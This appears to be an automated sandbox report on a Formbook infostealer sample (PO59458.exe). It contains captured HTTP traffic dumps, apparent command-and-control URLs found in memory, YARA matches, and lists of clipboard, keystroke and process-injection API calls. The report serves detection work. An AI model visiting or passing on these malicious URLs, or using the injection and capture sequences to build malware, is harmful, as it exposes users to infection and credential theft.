09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 3c 64 69 76 20 69 64 3d 22 75 6e 74 65 6e 22 3e 3c 2f 64 69 76 3e 0a 09 09 3c 2f 64 69 76
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 13:27:47 GMTServer: ApacheX-Powered-By: PHP/8.1.29Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://abuali-contracting.art/wp-json/>; rel="https://api.w.org/"Strict-Transport-Security: max-age=63072000; includeSubDomainsX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffVary: Accept-EncodingContent-Encoding: gzipContent-Length: 24156Connection: closeContent-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed bd 6b 77 e4 c6 91 20 fa 59 7d ce fd 0f 50 e9 48 cd 92 0a 28 bc 1f 64 b3 6d 89 92 6c cd b6 2c 1f b7 6c df b5 5b 87 07 05 a0 48 74 a3 0a 65 a0 8a 0f d1 fc 30 1e db eb f5 de 5f b1 bb b3 d6 e8 8e c7 c7 e3 3b 3b c7 fb 4b d8 ff e6 46 44 e2 fd 2a d4 a3 bb a5 71 ab 45 12 48 44 46 46 44 46 44 46 24 32 13 0f de fc f0 b3 93 cf ff f3 0f 3f e2 ce 97 b3 e0 e1 bd 07 f8 87 73 fd e8 78 10 2d 83 01 17 d8 f3 b3 e3 81 1d 0d b8 45 e4 4d fd ab e3 41 78 76 08 b0 cb 45 7c 38 1e 87 67 0b 61 e6 8d e7 f1 5b 03 ac ea d9 ee c3 7b 6f 3c 98 79 4b 9b 73 ce ed 28 f6 96 c7 83 1f 7f fe 31 6f 0e b8 71 f6 64 6e cf bc e3 c1 85 ef 5d 2e c2 68 39 e0 9c 70 be f4 e6 00 79 e9 bb cb f3 63 d7 bb f0 1d 8f a7 9b 11 e7 cf fd a5 6f 07 7c ec d8 81 77 2c 11 9e 7b 6f bc f1 e0 4d 9e e7 de 0f 02 78 ce 7d 36 f7 b8 c7 1f 7d c6 a9 82 21 c8 1c cf d9 7e 18 7b a1 e0 84 33 8e e7 1f fe 5f 08 bd f4 97 81 f7 f0 c1 98 fd c5 92 02 25 51 38 09 97 71 81 8e 79 e8 cf 5d ef 8a d1 5c 02 3d f3 e6 5e 64 2f c3 a8 00 5d a1 e2 e0 fd 4f 3e 83 bf 43 46 4e 8a 23 76 22 7f b1 e4 96 d7 0b c0 62 2f 16 81 ef d8 4b 3f 9c 8f 03 f7 bd a7 71 38 07 7c 81 1d c7 f0 8c 88 07 76 cf bd 99 3d c0 ba 6f dc 0c be 4b 8d 5d 2d 07 87 03 26 f9 27 e3 27 63 06 22 84 d1 d9 60 34 f8 ee 59 64 2f ce 07 87 3f 07 60 6c 04 20 3f 88 a0 3b 9c 68 35 9b 3c f2 e3 25 c2 f8 6e 09 81 3d 59 d9 81 cf 23 ee c8 76 96 fe fc 4c b0 a3 e5 93 b1 1c 5d cf 9f 8c df 9a 64 f5 03 56 df 5f 7a 33 44 f5 51 e0 cd 80 f3 52 63 58 fe 09 3c df a0 99 b7 82 bc ce 22 8c 7d 14 c7 e0 50 1a 0d 50 d4 80 e1 c9 4a d4 65 03 7f ab 2a fe 56 24 2a d1 a9 c4 a6 12 25 bf 96 ad 84 c2 5e 6d 03 ec 1c e4 f9 49 5f f8 44 24 19 c5 b7 a3 9d 58 af a2 2b 0a 40 2e 09 40 b1 0b ec 4a 1c dd 68 f4 db 24 ae 9d c2 f5 14 f1 44 60 3d e1 2a ee cd 59 81 a7 2f 8a 5c 7d 16 9d d9 73 ff 4b 52 d2 4d 3a 35 2c d7 2b f6 25 f5 96 6c 32 8a 89 15 c5 ca bb 57 b5 b9 c2 8d 5a e0 54 2e 68 82 99 3f 65 25 b2 0d ad b8 1e b3 2f 12 20 35 a6 ea 79 d5 a4 92 c6 e5 ed cb 76 ae 51 6a 51 8b 18 5d 45 b5 93 a7 f9 e3 04 d4 2c a8 a3 91 a3 13 9d b6 ca 46 a1 5c ef 53 ad c6 a6 62 b4 80 16 6d a0 48 52 22 bb 02 d9 4d ed 28 05 14 5a 81 bc 56 c2 9c 9c 3c 45 29 08 b4 24 93 69 b1 b6 59 13 a2 5a 47 eb 51 ed 02 ef 9b d4 4e 5a f5 aa cc 27 38 98 92 29 72 5b db 05 19 30 29 cb 6e a1 b6 5a d7 97 a2 64 b5 1a 3e f6 38 21 bc d0 e5 2a Data Ascii: kw Y}PH(dml,l[Hte0_;;KFD*qEHDFFDFDF$2?sx-EMAxvE\|8g
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 13:27:50 GMTServer: ApacheX-Powered-By: PHP/8.1.29Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://abuali-contracting.art/wp-json/>; rel="https://api.w.org/"Strict-Transport-Security: max-age=63072000; includeSubDomainsX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffVary: Accept-EncodingContent-Encoding: gzipContent-Length: 24156Connection: closeContent-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed bd 6b 77 e4 c6 91 20 fa 59 7d ce fd 0f 50 e9 48 cd 92 0a 28 bc 1f 64 b3 6d 89 92 6c cd b6 2c 1f b7 6c df b5 5b 87 07 05 a0 48 74 a3 0a 65 a0 8a 0f d1 fc 30 1e db eb f5 de 5f b1 bb b3 d6 e8 8e c7 c7 e3 3b 3b c7 fb 4b d8 ff e6 46 44 e2 fd 2a d4 a3 bb a5 71 ab 45 12 48 44 46 46 44 46 44 46 24 32 13 0f de fc f0 b3 93 cf ff f3 0f 3f e2 ce 97 b3 e0 e1 bd 07 f8 87 73 fd e8 78 10 2d 83 01 17 d8 f3 b3 e3 81 1d 0d b8 45 e4 4d fd ab e3 41 78 76 08 b0 cb 45 7c 38 1e 87 67 0b 61 e6 8d e7 f1 5b 03 ac ea d9 ee c3 7b 6f 3c 98 79 4b 9b 73 ce ed 28 f6 96 c7 83 1f 7f fe 31 6f 0e b8 71 f6 64 6e cf bc e3 c1 85 ef 5d 2e c2 68 39 e0 9c 70 be f4 e6 00 79 e9 bb cb f3 63 d7 bb f0 1d 8f a7 9b 11 e7 cf fd a5 6f 07 7c ec d8 81 77 2c 11 9e 7b 6f bc f1 e0 4d 9e e7 de 0f 02 78 ce 7d 36 f7 b8 c7 1f 7d c6 a9 82 21 c8 1c cf d9 7e 18 7b a1 e0 84 33 8e e7 1f fe 5f 08 bd f4 97 81 f7 f0 c1 98 fd c5 92 02 25 51 38 09 97 71 81 8e 79 e8 cf 5d ef 8a d1 5c 02 3d f3 e6 5e 64 2f c3 a8 00 5d a1 e2 e0 fd 4f 3e 83 bf 43 46 4e 8a 23 76 22 7f b1 e4 96 d7 0b c0 62 2f 16 81 ef d8 4b 3f 9c 8f 03 f7 bd a7 71 38 07 7c 81 1d c7 f0 8c 88 07 76 cf bd 99 3d c0 ba 6f dc 0c be 4b 8d 5d 2d 07 87 03 26 f9 27 e3 27 63 06 22 84 d1 d9 60 34 f8 ee 59 64 2f ce 07 87 3f 07 60 6c 04 20 3f 88 a0 3b 9c 68 35 9b 3c f2 e3 25 c2 f8 6e 09 81 3d 59 d9 81 cf 23 ee c8 76 96 fe fc 4c b0 a3 e5 93 b1 1c 5d cf 9f 8c df 9a 64 f5 03 56 df 5f 7a 33 44 f5 51 e0 cd 80 f3 52 63 58 fe 09 3c df a0 99 b7 82 bc ce 22 8c 7d 14 c7 e0 50 1a 0d 50 d4 80 e1 c9 4a d4 65 03 7f ab 2a fe 56 24 2a d1 a9 c4 a6 12 25 bf 96 ad 84 c2 5e 6d 03 ec 1c e4 f9 49 5f f8 44 24 19 c5 b7 a3 9d 58 af a2 2b 0a 40 2e 09 40 b1 0b ec 4a 1c dd 68 f4 db 24 ae 9d c2 f5 14 f1 44 60 3d e1 2a ee cd 59 81 a7 2f 8a 5c 7d 16 9d d9 73 ff 4b 52 d2 4d 3a 35 2c d7 2b f6 25 f5 96 6c 32 8a 89 15 c5 ca bb 57 b5 b9 c2 8d 5a e0 54 2e 68 82 99 3f 65 25 b2 0d ad b8 1e b3 2f 12 20 35 a6 ea 79 d5 a4 92 c6 e5 ed cb 76 ae 51 6a 51 8b 18 5d 45 b5 93 a7 f9 e3 04 d4 2c a8 a3 91 a3 13 9d b6 ca 46 a1 5c ef 53 ad c6 a6 62 b4 80 16 6d a0 48 52 22 bb 02 d9 4d ed 28 05 14 5a 81 bc 56 c2 9c 9c 3c 45 29 08 b4 24 93 69 b1 b6 59 13 a2 5a 47 eb 51 ed 02 ef 9b d4 4e 5a f5 aa cc 27 38 98 92 29 72 5b db 05 19 30 29 cb 6e a1 b6 5a d7 97 a2 64 b5 1a 3e f6 38 21 bc d0 e5 2a Data Ascii: kw Y}PH(dml,l[Hte0_;;KFD*qEHDFFDFDF$2?sx-EMAxvE\|8g
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 13:27:52 GMTServer: ApacheX-Powered-By: PHP/8.1.29Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://abuali-contracting.art/wp-json/>; rel="https://api.w.org/"Strict-Transport-Security: max-age=63072000; includeSubDomainsX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffVary: Accept-EncodingContent-Encoding: gzipContent-Length: 24156Connection: closeContent-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed bd 6b 77 e4 c6 91 20 fa 59 7d ce fd 0f 50 e9 48 cd 92 0a 28 bc 1f 64 b3 6d 89 92 6c cd b6 2c 1f b7 6c df b5 5b 87 07 05 a0 48 74 a3 0a 65 a0 8a 0f d1 fc 30 1e db eb f5 de 5f b1 bb b3 d6 e8 8e c7 c7 e3 3b 3b c7 fb 4b d8 ff e6 46 44 e2 fd 2a d4 a3 bb a5 71 ab 45 12 48 44 46 46 44 46 44 46 24 32 13 0f de fc f0 b3 93 cf ff f3 0f 3f e2 ce 97 b3 e0 e1 bd 07 f8 87 73 fd e8 78 10 2d 83 01 17 d8 f3 b3 e3 81 1d 0d b8 45 e4 4d fd ab e3 41 78 76 08 b0 cb 45 7c 38 1e 87 67 0b 61 e6 8d e7 f1 5b 03 ac ea d9 ee c3 7b 6f 3c 98 79 4b 9b 73 ce ed 28 f6 96 c7 83 1f 7f fe 31 6f 0e b8 71 f6 64 6e cf bc e3 c1 85 ef 5d 2e c2 68 39 e0 9c 70 be f4 e6 00 79 e9 bb cb f3 63 d7 bb f0 1d 8f a7 9b 11 e7 cf fd a5 6f 07 7c ec d8 81 77 2c 11 9e 7b 6f bc f1 e0 4d 9e e7 de 0f 02 78 ce 7d 36 f7 b8 c7 1f 7d c6 a9 82 21 c8 1c cf d9 7e 18 7b a1 e0 84 33 8e e7 1f fe 5f 08 bd f4 97 81 f7 f0 c1 98 fd c5 92 02 25 51 38 09 97 71 81 8e 79 e8 cf 5d ef 8a d1 5c 02 3d f3 e6 5e 64 2f c3 a8 00 5d a1 e2 e0 fd 4f 3e 83 bf 43 46 4e 8a 23 76 22 7f b1 e4 96 d7 0b c0 62 2f 16 81 ef d8 4b 3f 9c 8f 03 f7 bd a7 71 38 07 7c 81 1d c7 f0 8c 88 07 76 cf bd 99 3d c0 ba 6f dc 0c be 4b 8d 5d 2d 07 87 03 26 f9 27 e3 27 63 06 22 84 d1 d9 60 34 f8 ee 59 64 2f ce 07 87 3f 07 60 6c 04 20 3f 88 a0 3b 9c 68 35 9b 3c f2 e3 25 c2 f8 6e 09 81 3d 59 d9 81 cf 23 ee c8 76 96 fe fc 4c b0 a3 e5 93 b1 1c 5d cf 9f 8c df 9a 64 f5 03 56 df 5f 7a 33 44 f5 51 e0 cd 80 f3 52 63 58 fe 09 3c df a0 99 b7 82 bc ce 22 8c 7d 14 c7 e0 50 1a 0d 50 d4 80 e1 c9 4a d4 65 03 7f ab 2a fe 56 24 2a d1 a9 c4 a6 12 25 bf 96 ad 84 c2 5e 6d 03 ec 1c e4 f9 49 5f f8 44 24 19 c5 b7 a3 9d 58 af a2 2b 0a 40 2e 09 40 b1 0b ec 4a 1c dd 68 f4 db 24 ae 9d c2 f5 14 f1 44 60 3d e1 2a ee cd 59 81 a7 2f 8a 5c 7d 16 9d d9 73 ff 4b 52 d2 4d 3a 35 2c d7 2b f6 25 f5 96 6c 32 8a 89 15 c5 ca bb 57 b5 b9 c2 8d 5a e0 54 2e 68 82 99 3f 65 25 b2 0d ad b8 1e b3 2f 12 20 35 a6 ea 79 d5 a4 92 c6 e5 ed cb 76 ae 51 6a 51 8b 18 5d 45 b5 93 a7 f9 e3 04 d4 2c a8 a3 91 a3 13 9d b6 ca 46 a1 5c ef 53 ad c6 a6 62 b4 80 16 6d a0 48 52 22 bb 02 d9 4d ed 28 05 14 5a 81 bc 56 c2 9c 9c 3c 45 29 08 b4 24 93 69 b1 b6 59 13 a2 5a 47 eb 51 ed 02 ef 9b d4 4e 5a f5 aa cc 27 38 98 92 29 72 5b db 05 19 30 29 cb 6e a1 b6 5a d7 97 a2 64 b5 1a 3e f6 38 21 bc d0 e5 2a Data Ascii: kw Y}PH(dml,l[Hte0_;;KFD*qEHDFFDFDF$2?sx-EMAxvE\|8g

Source: raserver.exe, 00000004.00000002.20110611182.0000000005CCE000.00000004.10000000.00040000.00000000.sdmp, mLKlRmqOwZ.exe, 00000005.00000002.20110221863.0000000003C5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://abuali-contracting.art/2ryn/?6v1=WJ7LtfbM82h7buA/0JOWUE8vrA9g8isWtU
Source: mLKlRmqOwZ.exe, 00000005.00000002.20108805058.0000000001024000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.jcblessings.shop
Source: mLKlRmqOwZ.exe, 00000005.00000002.20108805058.0000000001024000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.jcblessings.shop/agok/
Source: raserver.exe, 00000004.00000003.15697899380.0000000007D0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: raserver.exe, 00000004.00000003.15697899380.0000000007D0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: mLKlRmqOwZ.exe, 00000005.00000002.20110221863.00000000048EE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://chrisflynn.click/kn4j/?6v1=vpCrMCAdfu65HIAf09CQR4tGFi3IrrdSSSqQznfgwOIFTGDRF6xAYU038HlDgieoM
Source: raserver.exe, 00000004.00000002.20110611182.00000000064A8000.00000004.10000000.00040000.00000000.sdmp, raserver.exe, 00000004.00000002.20112064652.00000000079E0000.00000004.00000800.00020000.00000000.sdmp, mLKlRmqOwZ.exe, 00000005.00000002.20110221863.0000000004438000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://code.jquery.com/jquery-3.5.1.min.js
Source: 4lQ1bg20.4.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: raserver.exe, 00000004.00000003.15701865719.0000000007D7B000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000004.00000003.15697899380.0000000007D0B000.00000004.00000020.00020000.00000000.sdmp, 4lQ1bg20.4.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 4lQ1bg20.4.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: raserver.exe, 00000004.00000002.20110611182.00000000064A8000.00000004.10000000.00040000.00000000.sdmp, raserver.exe, 00000004.00000002.20112064652.00000000079E0000.00000004.00000800.00020000.00000000.sdmp, mLKlRmqOwZ.exe, 00000005.00000002.20110221863.0000000004438000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://gamesfunny.top$
Source: raserver.exe, 00000004.00000003.15697899380.0000000007D0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: raserver.exe, 00000004.00000003.15692238621.0000000002EC1000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000004.00000002.20108061852.0000000002EA5000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000004.00000002.20108061852.0000000002E9B000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000004.00000002.20108061852.0000000002EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/
Source: raserver.exe, 00000004.00000003.15692238621.0000000002EC1000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000004.00000002.20108061852.0000000002EA5000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000004.00000002.20108061852.0000000002EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com//
Source: raserver.exe, 00000004.00000002.20108061852.0000000002EA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/https://login.live.com/
Source: raserver.exe, 00000004.00000003.15692238621.0000000002EC1000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000004.00000002.20108061852.0000000002EA5000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000004.00000002.20108061852.0000000002EC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/v104
Source: raserver.exe, 00000004.00000002.20108061852.0000000002E65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://odc.officeapps.live.com/odc/v2.1/hrdlcid=1033&syslcid=2057&uilcid=1033&app=1&ver=16&build=16
Source: raserver.exe, 00000004.00000003.15691246053.0000000007CE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://odc.officeapps.live.com/odc/v2.1/hrdres://C:
Source: raserver.exe, 00000004.00000002.20110611182.0000000005FF2000.00000004.10000000.00040000.00000000.sdmp, mLKlRmqOwZ.exe, 00000005.00000002.20110221863.0000000003F82000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://onlineblikjes.nl/?6v1=zvwh7ubIdEWohqDuzJhOcTQuEw06rekL9c1B89
Source: raserver.exe, 00000004.00000002.20110611182.00000000064A8000.00000004.10000000.00040000.00000000.sdmp, mLKlRmqOwZ.exe, 00000005.00000002.20110221863.0000000004438000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://playchill.top/api/axgames/request?domain=$
Source: raserver.exe, 00000004.00000002.20110611182.00000000064A8000.00000004.10000000.00040000.00000000.sdmp, mLKlRmqOwZ.exe, 00000005.00000002.20110221863.0000000004438000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://securepubads.g.doubleclick.net/tag/js/gpt.js
Source: raserver.exe, 00000004.00000003.15701865719.0000000007D7B000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000004.00000003.15697899380.0000000007D0B000.00000004.00000020.00020000.00000000.sdmp, 4lQ1bg20.4.dr	String found in binary or memory: https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search
Source: raserver.exe, 00000004.00000003.15701865719.0000000007D7B000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000004.00000003.15697899380.0000000007D0B000.00000004.00000020.00020000.00000000.sdmp, 4lQ1bg20.4.dr	String found in binary or memory: https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: raserver.exe, 00000004.00000002.20110611182.000000000663A000.00000004.10000000.00040000.00000000.sdmp, mLKlRmqOwZ.exe, 00000005.00000002.20110221863.00000000045CA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.bdipjg.asia/c3wv/?6v1=MeRYN0L9lvmsfuBVfJXwKI4otpUPbIkQuRQIC1j2X6eiJk3nQUhhohw7tTSD
Source: raserver.exe, 00000004.00000003.15697899380.0000000007D0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: raserver.exe, 00000004.00000002.20110611182.0000000006C82000.00000004.10000000.00040000.00000000.sdmp, raserver.exe, 00000004.00000002.20110611182.00000000054F4000.00000004.10000000.00040000.00000000.sdmp, raserver.exe, 00000004.00000002.20112064652.00000000079E0000.00000004.00000800.00020000.00000000.sdmp, mLKlRmqOwZ.exe, 00000005.00000002.20110221863.0000000004C12000.00000004.00000001.00040000.00000000.sdmp, mLKlRmqOwZ.exe, 00000005.00000002.20110221863.0000000003484000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.15806231999.000000003A164000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: raserver.exe, 00000004.00000003.15697899380.0000000007D0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: raserver.exe, 00000004.00000003.15701865719.0000000007D7B000.00000004.00000020.00020000.00000000.sdmp, 4lQ1bg20.4.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: C:\Users\user\Desktop\PO59458.exe

Code function: 0_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,

0_2_0046C5D0

Source: C:\Users\user\Desktop\PO59458.exe

Code function: 0_2_00459FFF OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00459FFF

Source: C:\Users\user\Desktop\PO59458.exe

Code function: 0_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,

0_2_0046C5D0

Source: C:\Users\user\Desktop\PO59458.exe

Code function: 0_2_00456354 GetCursorPos,ScreenToClient,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetWindowLongW,

0_2_00456354

Source: C:\Users\user\Desktop\PO59458.exe

Code function: 0_2_0047C08E SendMessageW,DefDlgProcW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_0047C08E

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 2.2.svchost.exe.2150000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.2150000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.20109283800.0000000004870000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.15516344646.00000000030A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.15514625975.0000000002150000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.20109395707.00000000048C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.15516453224.0000000005200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.20107779500.0000000002B00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.20109255101.0000000004960000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 2.2.svchost.exe.2150000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 2.2.svchost.exe.2150000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.20109283800.0000000004870000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.15516344646.00000000030A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.15514625975.0000000002150000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.20109395707.00000000048C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.15516453224.0000000005200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.20107779500.0000000002B00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.20109255101.0000000004960000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0217C353 NtClose,	2_2_0217C353
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D734E0 NtCreateMutant,LdrInitializeThunk,	2_2_02D734E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72A80 NtClose,LdrInitializeThunk,	2_2_02D72A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72D10 NtQuerySystemInformation,LdrInitializeThunk,	2_2_02D72D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D74260 NtSetContextThread,	2_2_02D74260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D74570 NtSuspendThread,	2_2_02D74570
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72AC0 NtEnumerateValueKey,	2_2_02D72AC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72AA0 NtQueryInformationFile,	2_2_02D72AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72A10 NtWriteFile,	2_2_02D72A10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72BC0 NtQueryInformationToken,	2_2_02D72BC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72BE0 NtQueryVirtualMemory,	2_2_02D72BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72B90 NtFreeVirtualMemory,	2_2_02D72B90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72B80 NtCreateKey,	2_2_02D72B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72B10 NtAllocateVirtualMemory,	2_2_02D72B10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72B00 NtQueryValueKey,	2_2_02D72B00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72B20 NtQueryInformationProcess,	2_2_02D72B20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D738D0 NtGetContextThread,	2_2_02D738D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D729D0 NtWaitForSingleObject,	2_2_02D729D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D729F0 NtReadFile,	2_2_02D729F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72ED0 NtResumeThread,	2_2_02D72ED0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72EC0 NtQuerySection,	2_2_02D72EC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72E80 NtCreateProcessEx,	2_2_02D72E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72EB0 NtProtectVirtualMemory,	2_2_02D72EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72E50 NtCreateSection,	2_2_02D72E50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72E00 NtQueueApcThread,	2_2_02D72E00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72FB0 NtSetValueKey,	2_2_02D72FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72F00 NtCreateFile,	2_2_02D72F00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72F30 NtOpenDirectoryObject,	2_2_02D72F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72CD0 NtEnumerateKey,	2_2_02D72CD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72CF0 NtDelayExecution,	2_2_02D72CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D73C90 NtOpenThread,	2_2_02D73C90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72C50 NtUnmapViewOfSection,	2_2_02D72C50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72C10 NtOpenProcess,	2_2_02D72C10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D73C30 NtOpenProcessToken,	2_2_02D73C30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72C30 NtMapViewOfSection,	2_2_02D72C30
